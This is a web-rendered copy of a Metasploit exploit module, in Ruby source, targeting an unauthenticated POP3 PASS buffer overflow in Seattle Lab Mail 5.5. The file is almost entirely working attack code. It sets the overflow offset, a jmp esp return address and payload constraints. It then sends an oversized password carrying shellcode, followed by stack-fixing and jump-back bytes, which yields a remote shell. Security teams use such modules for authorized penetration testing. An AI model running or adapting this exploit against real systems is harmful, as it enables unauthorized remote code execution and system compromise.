CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/pop3/seattlelab_pass.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
14
'Description' => %q{
15
There exists an unauthenticated buffer overflow vulnerability
16
in the POP3 server of Seattle Lab Mail 5.5 when sending a password
17
with excessive length.
18
19
Successful exploitation should not crash either the
20
service or the server; however, after initial use the
21
port cannot be reused for successive exploitation until
22
the service has been restarted. Consider using a command
23
execution payload following the bind shell to restart
24
the service if you need to reuse the same port.
25
26
The overflow appears to occur in the debugging/error reporting
27
section of the slmail.exe executable, and there are multiple
28
offsets that will lead to successful exploitation. This exploit
29
uses 2606, the offset that creates the smallest overall payload.
30
The other offset is 4654.
31
32
The return address is overwritten with a "jmp esp" call from the
33
application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
34
return address works against all version of Windows and service packs.
35
36
The last modification date on the library is dated 06/02/99. Assuming
37
that the code where the overflow occurs has not changed in some time,
38
prior version of SLMail may also be vulnerable with this exploit. The
39
author has not been able to acquire older versions of SLMail for
40
testing purposes. Please let us know if you were able to get this
41
exploit working against other SLMail versions.
42
},
43
'Author' => 'stinko',
44
'License' => MSF_LICENSE,
45
'References' =>
46
[
47
['CVE', '2003-0264'],
48
['OSVDB', '11975'],
49
['BID', '7519'],
50
],
51
'Privileged' => true,
52
'DefaultOptions' =>
53
{
54
'EXITFUNC' => 'thread',
55
},
56
'Payload' =>
57
{
58
'Space' => 600,
59
'BadChars' => "\x00\x0a\x0d\x20",
60
'MinNops' => 100,
61
},
62
'Platform' => 'win',
63
'Targets' =>
64
[
65
['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
66
],
67
'DisclosureDate' => '2003-05-07',
68
'DefaultTarget' => 0))
69
70
register_options(
71
[
72
Opt::RPORT(110)
73
])
74
75
end
76
77
def exploit
78
connect
79
80
print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")
81
82
banner = sock.get_once || ''
83
if banner !~ /^\+OK POP3 server (.*) ready/
84
print_error("POP3 server does not appear to be running")
85
return
86
end
87
88
sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
89
banner = sock.get_once
90
if banner !~ /^\+OK (.*) welcome here/
91
print_error("POP3 server rejected username")
92
return
93
end
94
95
request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
96
request << payload.encoded
97
request << [target.ret].pack('V')
98
request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
99
request << "\xe9\xcb\xfd\xff\xff" # go back 560 bytes
100
request << rand_text_alphanumeric(512) # cruft
101
request << "\r\n"
102
103
sock.put(request)
104
105
handler
106
disconnect
107
end
108
end
109
110